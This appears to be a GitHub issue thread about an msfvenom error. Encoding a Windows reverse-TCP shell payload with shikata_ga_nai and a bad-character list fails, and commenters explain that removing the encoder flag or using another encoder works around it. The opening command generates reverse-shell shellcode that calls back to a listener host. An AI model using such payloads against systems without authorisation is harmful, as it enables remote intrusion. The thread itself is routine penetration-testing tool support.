msfvenom -p windows/shell_reverse_tcp LHOST=192.168.25.31 LPORT=443 EXITFUNC=thread -f python -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x04\xa1\xb0\xb7\xEA"
generate a shellcode, or fail with a detailed message of what's the problem
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
**x86/shikata_ga_nai failed with A valid opcode permutation could not be found.**
Error: An encoding exception occurred.
[03/09/2017 21:32:02] [e(0)] core: Msf::EncodingError : An encoding exception occurred.
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:240:in `encode_payload'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:330:in `generate_payload'
/usr/bin/msfvenom:339:in `<main>'
What OS are you running Metasploit on?
This is probably due to the fact that shikata ga nai does require certain op codes to be allowed for it to work, one of which is listed as a bad char in your list. If you specify an op code that's required you'll get this error.
Ditto what @OJ said. The error may seem a little cryptic, but that's exactly what it means.
For the benefit of those who are searching the web for this error, and want a work around, just leave off the encoder selector -e x86/shikata_ga_nai and msfvenom will try a few till it finds one that works with the bad characters specified.
OR Try a different encoder such as alphanumeric one.
Most helpful comment
For the benefit of those who are searching the web for this error, and want a work around, just leave off the encoder selector
-e x86/shikata_ga_naiand msfvenom will try a few till it finds one that works with the bad characters specified.